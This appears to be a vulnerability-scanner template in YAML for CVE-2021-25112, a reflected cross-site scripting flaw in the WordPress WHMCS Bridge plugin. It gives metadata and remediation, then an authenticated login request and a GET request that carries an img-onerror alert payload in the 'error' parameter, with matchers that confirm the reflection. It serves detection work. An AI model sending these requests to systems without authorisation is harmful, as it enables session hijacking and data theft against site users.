61 lines
2.3 KiB
YAML
61 lines
2.3 KiB
YAML
id: CVE-2021-25112
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info:
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name: WordPress WHMCS Bridge <6.4b - Cross-Site Scripting
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author: dhiyaneshDk
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severity: medium
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description: |
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WordPress WHMCS Bridge plugin before 6.4b contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the error parameter before outputting it back in the admin dashboard.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
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remediation: |
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Update WordPress WHMCS Bridge to version 6.4b or later to mitigate this vulnerability.
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reference:
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- https://wpscan.com/vulnerability/4aae2dd9-8d51-4633-91bc-ddb53ca3471c
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- https://plugins.trac.wordpress.org/changeset/2659751
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- https://nvd.nist.gov/vuln/detail/CVE-2021-25112
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-25112
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cwe-id: CWE-79
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epss-score: 0.001
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epss-percentile: 0.40832
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cpe: cpe:2.3:a:i-plugins:whmcs_bridge:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 2
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vendor: i-plugins
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product: whmcs_bridge
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framework: wordpress
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tags: cve2021,cve,whmcs,xss,wpscan,wordpress,wp-plugin,wp,authenticated,i-plugins
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http:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Origin: {{RootURL}}
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Content-Type: application/x-www-form-urlencoded
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Cookie: wordpress_test_cookie=WP%20Cookie%20check
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log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
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- |
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GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "<strong><img src onerror=alert(document.domain)></strong>"
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100a19eeb0552168ee1356c337047ab29e07fb9a79b3127aae8251113ba43294167022100ed3d86d56358e3a75345047f5dbafe388d49d0c21c9952b07c2d1ae97cbd29e8:922c64590222798bb761d5b6d8e72950 |